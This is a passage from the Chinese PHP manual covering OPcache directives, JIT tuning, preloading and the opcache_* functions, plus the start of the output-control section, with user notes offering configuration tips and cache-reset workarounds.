opcache.log_verbosity_level int

OPcache 模块的日志级别。 默认情况下，仅有致命级别（0）及错误级别（1）的日志会被记录。 其他可用的级别有：警告（2），信息（3）和调试（4）。

opcache.record_warnings bool

如果启用，OPcache 将记录编译时警告并在下次对其重播，即使是从缓存中提供的。

opcache.preferred_memory_model string

OPcache 首选的内存模块。 如果留空，OPcache 会选择适用的模块， 通常情况下，自动选择就可以满足需求。

可选值包括： mmap，shm, posix 以及 win32。

opcache.protect_memory bool

保护共享内存，以避免执行脚本时发生非预期的写入。 仅用于内部调试。

opcache.mmap_base string

在 Windows 平台上共享内存段的基地址。 所有的 PHP 进程都将共享内存映射到同样的地址空间。 使用此配置指令避免"无法重新附加到基地址"的错误。

opcache.restrict_api string

仅允许路径是以指定字符串开始的 PHP 脚本调用 OPcache API 函数。 默认值为空字符串 ""，表示不做限制。

opcache.file_update_protection string

如果文件的最后修改时间距现在不足此项配置指令所设定的秒数，那么这个文件不会进入到缓存中。 这是为了防止尚未完全修改完毕的文件进入到缓存。如果所有文件更新都是原子的，则可以通过将其设置为 0 来提高性能。这将允许文件立即缓存。

opcache.huge_code_pages bool

启用或者禁用将 PHP 代码（文本段）拷贝到 HUGE PAGES 中。这应该会提高性能，但是需要适当的 OS 配置。自 PHP 7.0.0 起可在 Linux 上使用，自 PHP 7.4.0 上可在 FreeBSD 上使用。

opcache.lockfile_path string

用来存储共享锁文件的绝对路径（仅适用于 *nix 操作系统）。

opcache.opt_debug_level string

出于对不同阶段的优化情况进行调试的目的，生成操作码转储。 设置为 0x10000 会在进行优化之前输出编译器编译后的操作码， 设置为 0x20000 会输出优化后的操作码。

opcache.file_cache string

配置二级缓存目录并启用二级缓存。 启用二级缓存可以在 SHM 内存满了、服务器重启或者重置 SHM 的时候提高性能。 默认值为空字符串 ""，表示禁用基于文件的缓存。

opcache.file_cache_only bool

启用或禁用在共享内存中的 opcode 缓存。

Note:

在 PHP 8.1.0 之前，已经存在文件缓存时禁用此指令需要手动清除文件缓存。

opcache.file_cache_consistency_checks bool

当从文件缓存中加载脚本的时候，是否对文件的校验和进行验证。

opcache.file_cache_fallback bool

在 Windows 平台上，当一个进程无法附加到共享内存的时候， 使用基于文件的缓存，也即：opcache.file_cache_only=1。 需要显示的启用文件缓存。

Caution

不鼓励禁用此配置项， 禁用它可能会导致进程无法启动。

opcache.validate_permission bool

针对当前用户，验证缓存文件的访问权限。

opcache.validate_root bool

在 chroot 的环境中避免命名冲突。 为了防止进程访问到 chroot 环境之外的文件，应该在 chroot 的情况下启用这个选项。

opcache.preload string

指定要在服务器启动时期进行编译和缓存的 PHP 脚本文件， 这些文件也可能通过 include 或者 opcache_compile_file() 函数 来预加载其他文件。 所有这些文件中包含的实体，包括函数、类等，在服务器启动的时候就被加载和缓存， 对于用户代码来讲是"开箱可用"的。

Note:

Windows 不支持预加载。

opcache.preload_user string

预加载以指定系统用户身份运行。这对于切换到非特权系统用户之前以 root 身份启动的服务器很有用。考虑到安全因素，默认禁止以 root 身份预加载代码，除非该指令明确设置为 root。

opcache.cache_id string

在 Windwos 上，运行在相同 PHP SAPI 且相同的用户账户使用相同缓存 ID 上的所有进程，会共享单个 OPcache 实例。缓存 ID 的值可以自由选择。

Tip

对于 IIS，使用环境变量 APP_POOL_ID 作为 opcache.cache_id，可以让不同的应用池拥有自己的 OPcache 实例。

opcache.jit string|int

针对经典用法，此选项接受以下四个字符串值之一：

  • disable：完全禁用，无法在运行时启用。
  • off：禁用，但可以在运行时启用。
  • tracing/on：使用追踪 JIT。默认启用并推荐给大部分用户。
  • function：使用函数 JIT。

针对高级用法，此选项接受 4 位整数 CRTO，其中的位分别是：

C（特定 CPU 优化 flag）
  • 0：禁用特定 CPU 优化。
  • 1：如果 CPU 支持则启用 AVX。
R（寄存器分配）
  • 0：不执行寄存器分配。
  • 1：执行局部域寄存器分配。
  • 2：执行全局寄存器分配。
T（触发）
  • 0: 在脚本加载时编译所有函数。
  • 1: 在第一次执行时编译函数。
  • 2：第一次请求时分析函数，然后编译最热门函数。
  • 3：动态分析和编译热门函数。
  • 4：目前未使用。
  • 5：使用追踪 JIT。动态分析和为热门代码段编译追踪。
O（优化级别）
  • 0：不 JIT。
  • 1：最小 JIT（调用标准 VM 处理程序）。
  • 2：内联 VM 处理程序。
  • 3：使用类型推断。
  • 4：使用调用图。
  • 5：优化整个脚本。
"tracing" 模式对应 CRTO = 1254，"function" 模式对应 CRTO = 1205。

opcache.jit_buffer_size int

为编译 JIT 代码保留的共享内存量。值 0 表示禁用 JIT。

当使用 int 时, 其值以字节来衡量。还可以使用在 FAQ 中描述的速记符。
opcache.jit_debug int

指定位掩码，用于启动哪个 JIT 调试输出。参阅 » zend_jit.h （搜索以 ZEND_JIT_DEBUG 开头的宏定义）。

opcache.jit_bisect_limit int

调试选项，在编译一定数量的函数之后禁用 JIT 编译。这对于定位 JIT 错误编译的源代码可能很有帮助。注意：此选项仅在 JIT 触发设置为 0（在脚本加载时编译）或1（第一次执行时编译）时起作用，例如 opcache.jit=1215。更多详细信息请参阅 opcache.jit 选项。

opcache.jit_prof_threshold float

当使用"首次请求时分析"触发模式时，此阈值确定是否视函数为热点。对该函数的调用次数除以所有函数的调用次数必须高于该阈值。例如，阈值为 0.005 表示占所有调用次数超过 0.5% 的函数将被进行 JIT 编译。

opcache.jit_max_root_traces int

Maximum number of root traces. The root trace is an execution flow taking one path through the code firstly, which is a unit of JIT compilation. JIT will not compile new code if it reaches this limit.

opcache.jit_max_side_traces int

Maximum number of side traces a root trace may have. The side trace is another execution flow that does not follow the path of compiled root trace. Side traces belonging to the same root trace will not be compiled if it reaches this limit.

opcache.jit_max_exit_counters int

Maximum number of side trace exit counters. This limits the total number of side traces there may be, across all root traces.

opcache.jit_hot_loop int

After how many iterations a loop is considered hot. Valid value range is [0,255]; for any setting out of this range, e.g., -1 or 256, default value will be used instead. Specially, a zero value will disable JIT to trace and compile any loops.

opcache.jit_hot_func int

After how many calls a function is considered hot. Valid value range is [0,255]; for any setting out of this range, e.g., -1 or 256, default value will be used instead. Specially, a zero value will disable JIT to trace and compile any functions.

opcache.jit_hot_return int

After how many returns a return is considered hot. Valid value range is [0,255]; for any setting out of this range, e.g., -1 or 256, default value will be used instead. Specially, a zero value will disable JIT to trace and compile any returns.

opcache.jit_hot_side_exit int

After how many exits a side exit is considered hot. Valid value range is [0,255]; for any setting out of this range, e.g., -1 or 256, default value will be used instead. Specially, a zero value will disable JIT to trace and compile any side exits.

opcache.jit_blacklist_root_trace int

在将 root trace 列入黑名单之前，尝试编译 side trace 的最大次数。

opcache.jit_blacklist_side_trace int

在将 side trace 列入黑名单之前，尝试编译 side trace 的最大次数。

opcache.jit_max_loop_unrolls int

在 side trace 中展开循环的最大尝试次数，试图到达 root trace 并关闭外循环。

opcache.jit_max_recursive_calls int

递归调用循环的最大展开次数。

opcache.jit_max_recursive_returns int

递归返回循环的最大展开次数。

opcache.jit_max_polymorphic_calls int

内联 polymorphic（动态或方法）调用的最大尝试次数。超过此限制的调用被视为 megamorphic，不会进行内联处理。

User Contributed Notes

carneiro at isharelife dot com dot br 08-Jan-2020 03:39
If you try to allocate more memory that is available using opcache.memory_consumption PHP stops working without any logs to help on debugging. This issue took me 4 hours to solve when creating a staging server with same configrations and less memory that was available on production server.
tizian dot schmidlin at gmail dot com 15-Apr-2019 09:41
It should be noted that according to the original RFC (https://wiki.php.net/rfc/preload) `opcache.preload` caches preloaded files *forever* for all instances of the underlying PHP process.

That means, that hosting multiple websites on the same server might result in some unexpected behaviour.

Concrete example:
- you have a Symfony 3.2 App (which might be an endpoint of some type) and a Symfony 3.4 App (which might be your main application)
- both apps have a main Class called App that is in the same namespace (as it is usual, since the class name is unique to each project)
- depending on which app is loaded first, one or the other will work, since `opcache.preload` has no file based distinction of what class is used where and simply provides them to the user space

This is avoidable by simply not preloading user space classes or, if you work with FPM, by defining a pool for each app.

In order to optimize memory consumption, you might also use a common FPM Pool for all Symfony 3.4 Apps and preload the entire framework in there and simply not preload user space classes (which might be cached by opcache anyway but is slower, since it will be checked if the file has changed on every request).
wessos at example dot org 12-Dec-2018 10:53
The optimization levels as of php 7.3 are the following:

#define ZEND_OPTIMIZER_PASS_1        (1<<0)   /* CSE, STRING construction     */
#define ZEND_OPTIMIZER_PASS_2        (1<<1)   /* Constant conversion and jumps */
#define ZEND_OPTIMIZER_PASS_3        (1<<2)   /* ++, +=, series of jumps      */
#define ZEND_OPTIMIZER_PASS_4        (1<<3)   /* INIT_FCALL_BY_NAME -> DO_FCALL */
#define ZEND_OPTIMIZER_PASS_5        (1<<4)   /* CFG based optimization       */
#define ZEND_OPTIMIZER_PASS_6        (1<<5)   /* DFA based optimization       */
#define ZEND_OPTIMIZER_PASS_7        (1<<6)   /* CALL GRAPH optimization      */
#define ZEND_OPTIMIZER_PASS_8        (1<<7)   /* SCCP (constant propagation)  */
#define ZEND_OPTIMIZER_PASS_9        (1<<8)   /* TMP VAR usage                */
#define ZEND_OPTIMIZER_PASS_10        (1<<9)   /* NOP removal                 */
#define ZEND_OPTIMIZER_PASS_11        (1<<10)  /* Merge equal constants       */
#define ZEND_OPTIMIZER_PASS_12        (1<<11)  /* Adjust used stack           */
#define ZEND_OPTIMIZER_PASS_13        (1<<12)  /* Remove unused variables     */
#define ZEND_OPTIMIZER_PASS_14        (1<<13)  /* DCE (dead code elimination) */
#define ZEND_OPTIMIZER_PASS_15        (1<<14)  /* (unsafe) Collect constants */
#define ZEND_OPTIMIZER_PASS_16        (1<<15)  /* Inline functions */

Source: https://lxr.room11.org/xref/php-src%40master/ext/opcache/Optimizer/zend_optimizer.h
damien at overeem dot org 27-Jan-2017 04:35
When using PHP on a windows platform and enabling opcache, you might run into occasional 500 errors. These will appear to show up entirely random.

When this happens, your windows Event log (Windows Logs/Application) will show (probably multiple)  entries from Zend OPcache with Event ID 487. Further information will state the following error message: "Base address marks unusable memory region".

This issue can be resolved by adding the following to your php.ini:

    opcache.mmap_base = 0x20000000

Unfortunately I do not know the significance of the value "0x20000000". I can only tell you that this value works to solve the problem (Tried and tested)
bdurand at ensemblegroup dot net 12-Jan-2017 11:19
It would appear as though the [opcache.enable] setting is indeed NOT PHP_INI_ALL.
For changing it within user.ini yields no effect when disabled at global level. user.ini is ignored for that setting.
BR 14-Nov-2015 01:13
opcache.max_wasted_percentage must have a value between 1 and 50. Otherwise it will automatically set the variable 5 %.


预加载

从 PHP 7.4.0 起，PHP 可以被配置为在引擎启动时将一些脚本预加载进 opcache 中。在那些文件中的任何函数、类、 接口或者 trait （但不包括常量）将在接下来的所有请求中变为全局可用，不再需要显示地包含它们。这牺牲了基准的 内存占用率但换来了方便和性能（因为这些代码将始终可用）。它还需要通过重启 PHP 进程来清除预加载的脚本， 这意味着这个功能仅在生产环境中有实用价值，而非开发环境。

需要注意的是，性能和内存之间的最佳平衡因应用而异。 "预加载一切" 可能是最简单的策略，但不一定是最好的策略。 此外，只有当不同的请求间有持久化的进程时，预加载才有用。这意味着，虽然在启用了 opcache 的命令行脚本中可以使用预加载， 但这通常是没有意义的。例外情况是在使用预加载时的 FFI 库。

Note:

Windows 上不支持预加载。

配置预加载需要两步，并且要求开启 opcache。首先，在php.ini 中设置 opcache.preload 的值：

opcache.preload=preload.php

preload.php 是一个在服务器启动时会运行一次（PHP-FPM、mod_php 等）的任意文件， 它的代码会加载到持久化内存中。在以 root 用户启动后切换到非特权系统用户的服务器上，又或者是以 root 用户身份运行 PHP 的情况（不建议这样做），可以通过opcache.preload_user 来指定进行预加载的系统用户。 默认情况下，不允许以 root 用户身份进行预加载。通过设置 opcache.preload_user=root 来显示地允许它。

在 preload.php 脚本中， 任何被 include、 include_once、require、require_once或 opcache_compile_file() 引用的文件将被解析到持久化内存中。 在下面的这个例子中， 所有在 src 目录下的 .php 文件将被预加载，除非那是一个 Test 文件。

<?php
$directory = new RecursiveDirectoryIterator(__DIR__ . '/src');
$fullTree = new RecursiveIteratorIterator($directory);
$phpFiles = new RegexIterator($fullTree, '/.+((?<!Test)+\.php$)/i', RecursiveRegexIterator::GET_MATCH);

foreach ($phpFiles as $key => $file) {
require_once $file[0];
}
?>

include 和 opcache_compile_file() 都会生效，但对代码处理方式有不同的影响。 Both include and opcache_compile_file() will work, but have different implications for how code gets handled.

  • include 将执行文件中的代码，而 opcache_compile_file() 不会执行代码。这意味着只有前者支持条件声明（在 if 块中声明函数）。
  • 由于 include 会执行代码，因此所有被 include 的文件也将被解析， 其中的定义也将被预加载。
  • opcache_compile_file() 可以按任何顺序加载文件。也就是说，如果 a.php 定义了类 A，而 b.php 定义了一个继承类 A 的类 B， 则 opcache_compile_file() 可以按任何顺序来加载这两个文件。然而，当使用 include 时， a.php 必须 先被包含。
  • 不管在哪种情况下，如果一个脚本包含了一个已经被预加载的文件，那么这个已经被预加载的文件里的内容仍将被执行， 但其中定义的任何符号将不会被重新定义。使用 include_once 不会阻止文件被二次包含。有时候可能仍需要重新加载文件 来包含其中定义的全局常量，因为这些常量预加载并不会处理。
因此，哪种方式更好取决于所需的行为。对于本来会使用自动加载器的代码，opcache_compile_file() 有更高的灵活性。而对于本来会需要手动加载的代码，include 会更健壮。

User Contributed Notes

postmaster at greg0ire dot fr 11-Nov-2022 08:57
There are caveats when enabling preloading, one of them being that it should be enabled via a php.ini file. Enabling it with a php-fpm pool configuration won't work, for instance, since preloading is global and not per-pool. To make sure that you successfully enabled preloading, you should check for a preload_statistics key in the output of opcache_get_status(). There should already be an opcache_statistics key, but that's something else entirely.
postmaster at greg0ire dot fr 20-Oct-2022 07:17
PHP 8.1 comes with an inheritance cache that partially overlaps with what the preloading already does. If you enabled preloading on lower versions then migrated to PHP 8.1, you might want to turn off preloading and see if that comes with a performance penalty or not.


OPcache 函数

Table of Contents

  • opcache_compile_file — 无需运行，即可编译并缓存 PHP 脚本
  • opcache_get_configuration — 获取缓存的配置信息
  • opcache_get_status — 获取缓存的状态信息
  • opcache_invalidate — 废除脚本缓存
  • opcache_is_script_cached — Tells whether a script is cached in OPCache
  • opcache_reset — 重置字节码缓存的内容

User Contributed Notes

There are no user contributed notes for this page.


无需运行，即可编译并缓存 PHP 脚本

  • ? OPcache 函数
  • opcache_get_configuration ?
  • PHP Manual
  • OPcache 函数
  • 无需运行，即可编译并缓存 PHP 脚本

opcache_compile_file

(PHP 5 >= 5.5.5, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_compile_file — 无需运行，即可编译并缓存 PHP 脚本

说明

opcache_compile_file(string $filename): bool

该函数可以用于在不用运行某个 PHP 脚本的情况下，编译该 PHP 脚本并将其添加到字节码缓存中去。 该函数可用于在 Web 服务器重启之后初始化缓存，以供后续请求调用。

参数

filename

被编译的 PHP 脚本的路径。

返回值

如果 filename 被成功编译，则返回 true 或者在失败时返回 false。

错误／异常

如果 filename 不能被载入或者不能被编译，则会生成 E_WARNING 级别的错误。 可以使用 @ 来抑制该警告。

参见

  • opcache_invalidate() - 废除脚本缓存

User Contributed Notes

IceNV 06-Dec-2017 03:38
Be aware that opcache will only compile and cache files older than the script execution start.

For instance, if you use a script to generate cache files (e.g. you don't have access to shmop and rely on opcache for in-memory data caching instead), opcache_compile_file will not include the generated file in the cache, because its modification time is after the script start.

The workaround is to use touch() to set a date before the script execution date, then opcache will compile and cache the generated file.


获取缓存的配置信息

  • ? opcache_compile_file
  • opcache_get_status ?
  • PHP Manual
  • OPcache 函数
  • 获取缓存的配置信息

opcache_get_configuration

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_configuration — 获取缓存的配置信息

说明

opcache_get_configuration(): array|false

该函数将返回缓存实例的配置信息。

参数

此函数没有参数。

返回值

返回一个数组，该数组里包含了缓存的初始化信息，黑名单和版本号。

错误／异常

在启用了 opcache.restrict_api 的情况下，如果当前路径在禁止规则里，将会出现 E_WARNING ；不会返回任何状态信息。

参见

  • opcache_get_status() - 获取缓存的状态信息

User Contributed Notes

marcus at synchromedia dot co dot uk 16-Sep-2014 09:08
Example output from this function:

array(3) {
  ["directives"]=>
  array(25) {
    ["opcache.enable"]=>
    bool(true)
    ["opcache.enable_cli"]=>
    bool(true)
    ["opcache.use_cwd"]=>
    bool(true)
    ["opcache.validate_timestamps"]=>
    bool(true)
    ["opcache.inherited_hack"]=>
    bool(true)
    ["opcache.dups_fix"]=>
    bool(false)
    ["opcache.revalidate_path"]=>
    bool(false)
    ["opcache.log_verbosity_level"]=>
    int(1)
    ["opcache.memory_consumption"]=>
    int(134217728)
    ["opcache.interned_strings_buffer"]=>
    int(8)
    ["opcache.max_accelerated_files"]=>
    int(4000)
    ["opcache.max_wasted_percentage"]=>
    float(0.05)
    ["opcache.consistency_checks"]=>
    int(0)
    ["opcache.force_restart_timeout"]=>
    int(180)
    ["opcache.revalidate_freq"]=>
    int(60)
    ["opcache.preferred_memory_model"]=>
    string(0) ""
    ["opcache.blacklist_filename"]=>
    string(0) ""
    ["opcache.max_file_size"]=>
    int(0)
    ["opcache.error_log"]=>
    string(0) ""
    ["opcache.protect_memory"]=>
    bool(false)
    ["opcache.save_comments"]=>
    bool(true)
    ["opcache.load_comments"]=>
    bool(true)
    ["opcache.fast_shutdown"]=>
    bool(true)
    ["opcache.enable_file_override"]=>
    bool(false)
    ["opcache.optimization_level"]=>
    int(4294967295)
  }
  ["version"]=>
  array(2) {
    ["version"]=>
    string(9) "7.0.4-dev"
    ["opcache_product_name"]=>
    string(12) "Zend OPcache"
  }
  ["blacklist"]=>
  array(0) {
  }
}


获取缓存的状态信息

  • ? opcache_get_configuration
  • opcache_invalidate ?
  • PHP Manual
  • OPcache 函数
  • 获取缓存的状态信息

opcache_get_status

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache > 7.0.2)

opcache_get_status — 获取缓存的状态信息

说明

opcache_get_status(bool $include_scripts = true): array|false

该函数将返回内存中缓存实例的状态信息。不会返回有关文件缓存的任何信息。

参数

include_scripts

包含脚本的具体声明信息。

返回值

返回可能包含脚本特定状态信息的数组， 或者在失败时返回 false。

错误／异常

在启用了 opcache.restrict_api 的情况下，如果当前路径在禁止规则里，将会出现 E_WARNING ；不会返回任何状态信息。

参见

  • opcache_get_configuration() - 获取缓存的配置信息

User Contributed Notes

pascal dot landau at googlemail dot com 07-Feb-2017 11:04
If the opcache is disabled, this functions returns false.
marcus at synchromedia dot co dot uk 16-Sep-2014 09:11
Example output from this function:

array(8) {
  ["opcache_enabled"]=>
  bool(true)
  ["cache_full"]=>
  bool(false)
  ["restart_pending"]=>
  bool(false)
  ["restart_in_progress"]=>
  bool(false)
  ["memory_usage"]=>
  array(4) {
    ["used_memory"]=>
    int(10936144)
    ["free_memory"]=>
    int(123281584)
    ["wasted_memory"]=>
    int(0)
    ["current_wasted_percentage"]=>
    float(0)
  }
  ["interned_strings_usage"]=>
  array(4) {
    ["buffer_size"]=>
    int(8388608)
    ["used_memory"]=>
    int(458480)
    ["free_memory"]=>
    int(7930128)
    ["number_of_strings"]=>
    int(5056)
  }
  ["opcache_statistics"]=>
  array(13) {
    ["num_cached_scripts"]=>
    int(1)
    ["num_cached_keys"]=>
    int(2)
    ["max_cached_keys"]=>
    int(7963)
    ["hits"]=>
    int(0)
    ["start_time"]=>
    int(1410858101)
    ["last_restart_time"]=>
    int(0)
    ["oom_restarts"]=>
    int(0)
    ["hash_restarts"]=>
    int(0)
    ["manual_restarts"]=>
    int(0)
    ["misses"]=>
    int(1)
    ["blacklist_misses"]=>
    int(0)
    ["blacklist_miss_ratio"]=>
    float(0)
    ["opcache_hit_rate"]=>
    float(0)
  }
  ["scripts"]=>
  array(1) {
    ["/var/www/opcache.php"]=>
    array(6) {
      ["full_path"]=>
      string(17) "/var/www/opcache.php"
      ["hits"]=>
      int(0)
      ["memory_consumption"]=>
      int(1064)
      ["last_used"]=>
      string(24) "Tue Sep 16 09:01:41 2014"
      ["last_used_timestamp"]=>
      int(1410858101)
      ["timestamp"]=>
      int(1410858099)
    }
  }
}


废除脚本缓存

  • ? opcache_get_status
  • opcache_is_script_cached ?
  • PHP Manual
  • OPcache 函数
  • 废除脚本缓存

opcache_invalidate

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_invalidate — 废除脚本缓存

说明

opcache_invalidate(string $filename, bool $force = false): bool

该函数的作用是使得指定脚本的字节码缓存失效。如果 force 没有设置或者传入的是 false，那么只有当脚本的修改时间比对应字节码的时间更新，脚本的缓存才会失效。此函数仅使内存缓存无效，而不是文件缓存。

参数

filename

缓存需要被作废对应的脚本路径

force

如果该参数设置为true，那么不管是否必要，该脚本的缓存都将被废除。

返回值

如果 filename 的字节码缓存失效设置成功或者该脚本本来就没有缓存，则返回 true；如果字节码缓存被禁用，则返回false。

参见

  • opcache_compile_file() - 无需运行，即可编译并缓存 PHP 脚本
  • opcache_reset() - 重置字节码缓存的内容

User Contributed Notes

dmitry dot balabka at gmail dot com 21-Nov-2019 02:35
opcache_invalidate tries to acquire SHM lock. When the lock can not be acquired opcache_invalidate will return FALSE. During multiple concurrent opcache_invalidate calls with higher probability, the function will return FALSE.
kaare at colourbox dot com 18-Mar-2016 10:40
Note that invalidation doesn't actually evict anything from the cache, it just forces a recompile. You can verify this by calling opcache_get_status() and seeing that the invalidated script is not actually removed from "scripts". This means it cannot be used as a more graceful alternative to opcache_reset() when the cache is full ("cache_full":true in status). The cache will eventually fill up and refuse to cache new requests if you do atomic deployment of PHP code by changing the web server's document root. It appears opcache_reset() is the only way to prevent this, but opcache_reset() can disable the cache for any amount of time while attempting to restart, causing load spikes.
joel at taotesting dot com 22-Dec-2014 02:14
Beware that only existing files can be invalidated.

Instead of removing a file from opcache that you have delete, you need to call opcache_invalidate before deleting it.


Tells whether a script is cached in OPCache

  • ? opcache_invalidate
  • opcache_reset ?
  • PHP Manual
  • OPcache 函数
  • Tells whether a script is cached in OPCache

opcache_is_script_cached

(PHP 5 >= 5.5.11, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.4)

opcache_is_script_cached — Tells whether a script is cached in OPCache

说明

opcache_is_script_cached(string $filename): bool

This function checks if a PHP script has been cached in OPCache. This can be used to more easily detect the "warming" of the cache for a particular script. This function only checks in-memory cache, not file cache.

参数

filename

The path to the PHP script to be checked.

返回值

Returns true if filename is cached in OPCache, false otherwise.

参见

  • opcache_compile_file() - 无需运行，即可编译并缓存 PHP 脚本

User Contributed Notes

There are no user contributed notes for this page.


重置字节码缓存的内容

  • ? opcache_is_script_cached
  • 输出控制 ?
  • PHP Manual
  • OPcache 函数
  • 重置字节码缓存的内容

opcache_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL ZendOpcache >= 7.0.0)

opcache_reset — 重置字节码缓存的内容

说明

opcache_reset(): bool

该函数将重置整个字节码缓存。在调用 opcache_reset() 之后，所有的脚本将会重新载入并且在下次命中的时候重新解析。此函数仅重置内存中的缓存，不会重置文件缓存。

参数

此函数没有参数。

返回值

如果重置字节码缓存成功，则返回 true；如果字节码缓存被禁用或等待重启或正在重启（参阅 opcache_get_status()），则返回 false。

参见

  • opcache_invalidate() - 废除脚本缓存
  • opcache_get_status() - 获取缓存的状态信息

User Contributed Notes

Jan 20-Jan-2020 03:02
For longer php scripts: opcache_reset() will obtain a lock and it will reset the cache only after the script has ended, after which the lock is released.

Calling opcache_reset() multiple times or any other opcache manipulation method, like opcache_invalidate(), after calling opcache_reset() in a single script is not useful: while opcache_reset() holds the lock, other opcache methods will return false and they will have zero effect on the cache.

Although the opcache manipulation methods have no effect during this lock, opcache does recache scripts corresponding to the opcache.revalidate_freq setting, provided that opcache.validate_timestamps is switched on.

To keep the cache up to date, use opcache_invalidate() when modifying single  php files. Use opcache_reset() for bigger changes and only at the end of a php script.
erutan409 at hotmail dot com 08-Nov-2018 04:57
So, I thought I'd share something that might benefit those looking for a way to reset opcache in CLI.

As an example in my case, I'm running a Laravel app with a router script with the built-in web server for local development.  I enabled opcache with the following run configuration:

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -d opcache.memory_consumption=128 -d opcache.max_accelerated_files=10000 -d opcache.validate_timestamps=0 -d opcache.save_comments=0 -t project_path/public/ server.php

This is basically what artisan serve is doing behind the scenes, anyway, except without the opcache part.

I have some file watchers setup to detect changes and executes the following upon said change(s):

/path/to/php.exe -d zend_extension=php_opcache.dll -d opcache.enable_cli=1 -r "opcache_reset();"

The key is ensuring that you're enabling opcache in CLI.  I've been using this for some time, so I can attest to this being a viable solution without needing to create a script to execute somewhere in the document root, etc.

I'm only referring to Laravel as an example of why I chose to explore options for solving this problem.  This should translate to any scenario a developer would need to utilize opcache in their project(s) while using the built-in web server.
Marsius777 19-Dec-2017 01:40
Run this to clear cache php -r 'opcache_reset();'
fbgolly at gmail dot com 11-Aug-2017 03:38
My workaround to clear cache via CLI is create a bash script like this:

#!/bin/bash
WEBDIR=/var/www/html/
RANDOM_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13)
echo "<?php opcache_reset(); ?>" > ${WEBDIR}${RANDOM_NAME}.php
curl http://localhost/${RANDOM_NAME}.php
rm ${WEBDIR}${RANDOM_NAME}.php

put it in /usr/local/bin/opcache-clear and make it executable.
When I want to clear cache I simply run "opcache-clear" inside terminal.
mike 13-Sep-2016 02:54
In some (most?) systems PHP's CLI has a separate opcode cache to the one used by the web server or PHP-FPM process, which means running opcache_reset() in the CLI won't reset the webserver/fpm opcode cache, and vice-versa.
Anonymous 08-Sep-2015 03:36
It should be mentioned that opcache_reset() does not reset cache when executed via cli.
So `php -r "var_dump(opcache_reset());"` outputs "true" but doesn't clean cache. Make file, access it via http - and cache is clean.
antoine dot vdsk at gmail dot com 29-Jul-2015 05:08
For people who have difficulties with constants and opcache_reset().
If you include a file with constant and do an opcache_reset() in the same file, you'll probably have some error like :

"Notice: Constant already defined"

The trick is to call opcache_reset() in an isolated file, then include another file that include the file with constants.

File a.php
<?php
opcache_reset();
include 'b.php'
?>

File b.php
<?php
include 'constants.php';
?>

File constants.php
<?php
define('MY_CONST', 'abcdef');
?>

With this trick, the opcache will be reset in a.php and when b.php will be included, the constants will not be in cache anymore.


输出缓冲控制

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基本用法
    • 输出重写用法
  • 输出控制 函数
    • flush — 刷新系统输出缓冲区
    • ob_clean — 清空（擦掉）输出缓冲区
    • ob_end_clean — 清空（擦除）缓冲区并关闭输出缓冲
    • ob_end_flush — 冲刷出（送出）输出缓冲区内容并关闭缓冲区
    • ob_flush — 冲刷出（送出）输出缓冲区中的内容
    • ob_get_clean — 得到当前缓冲区的内容并删除当前输出缓冲区
    • ob_get_contents — 返回输出缓冲区的内容
    • ob_get_flush — 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区
    • ob_get_length — 返回输出缓冲区内容的长度
    • ob_get_level — 返回输出缓冲机制的嵌套级别
    • ob_get_status — 得到所有输出缓冲区的状态
    • ob_gzhandler — ob_start 回调函数压缩输出缓冲区
    • ob_implicit_flush — 打开/关闭绝对刷送
    • ob_list_handlers — 列出所有使用的输出处理程序
    • ob_start — 打开输出控制缓冲
    • output_add_rewrite_var — 添加URL重写器的值（Add URL rewriter values）
    • output_reset_rewrite_vars — 重设URL重写器的值（Reset URL rewriter values）

User Contributed Notes

clancy hood at gmail dot com 11-Apr-2009 11:33
The manual is a little shy on explaining that output buffers are nested, and that "turns off output buffering" means turning off the highest nested buffer.  See ob_get_level (for a useful function, but still no explanation)

<?php
    ob_start();
    echo "1:blah\n";
    ob_start();
    echo "2:blah";
    // ob_get_clean() returns the contents of the last buffer opened.  The first "blah" and the output of var_dump are flushed from the top buffer on exit
    var_dump(ob_get_clean());
    exit;
?>

puts:
    1:blah
    string(6) "2:blah"

Prior to realising this, I had thought PHP's ob functionality left more to be desired.  I *really* wish I knew earlier.


简介

输出控制函数能够控制何时从脚本发送输出。对以下几种情况中很有用，尤其是当需要在脚本开始输出数据后将消息头发送到浏览器时。输出控制函数不会影响使用 header() 或 setcookie() 发送的消息头，只会影响 PHP 代码中的函数（比如 echo）和数据。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

输出控制配置选项
名字 | 默认 | 可修改范围 | 更新日志
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR |
implicit_flush | "0" | PHP_INI_ALL |
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | 在 PHP 7.1.0 之前，用于设置 session 的 trans sid 重写。从 PHP 7.1.0 起，仅用于 output_add_rewrite_var().
url_rewriter.hosts | $_SERVER['HTTP_HOST'] 用作默认值。 | PHP_INI_ALL | 自 PHP 7.1.0 起可用
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

output_buffering bool/int

该选项设置为"On"，可以在所有的脚本中启用输出缓冲。如果要限制输出缓冲区的最大值，可将该选项设定为指定的最大字节数（例如 output_buffering=4096）。该选项在 PHP-CLI 下总是关闭。

output_handler string

脚本的所有输出重定向到一个函数。例如，设置 output_handler 为 mb_output_handler() 时，字符的编码将被明确转换为指定的编码。设置任何输出处理函数，都将自动处理输出缓冲。

Note:

不能同时使用 mb_output_handler() 和
ob_iconv_handler()，也不能同时使用
ob_gzhandler() 和
zlib.output_compression。

Note:

只有内置函数可以使用此指令。对于用户定义的函数，使用 ob_start()。

implicit_flush bool

默认为 false。如将该选项改为 true，PHP 将使输出层在每段信息块输出后自动刷新。这等同于在每次调用 print、echo 以及 HTML 块之后，调用 PHP 中的 flush() 函数。

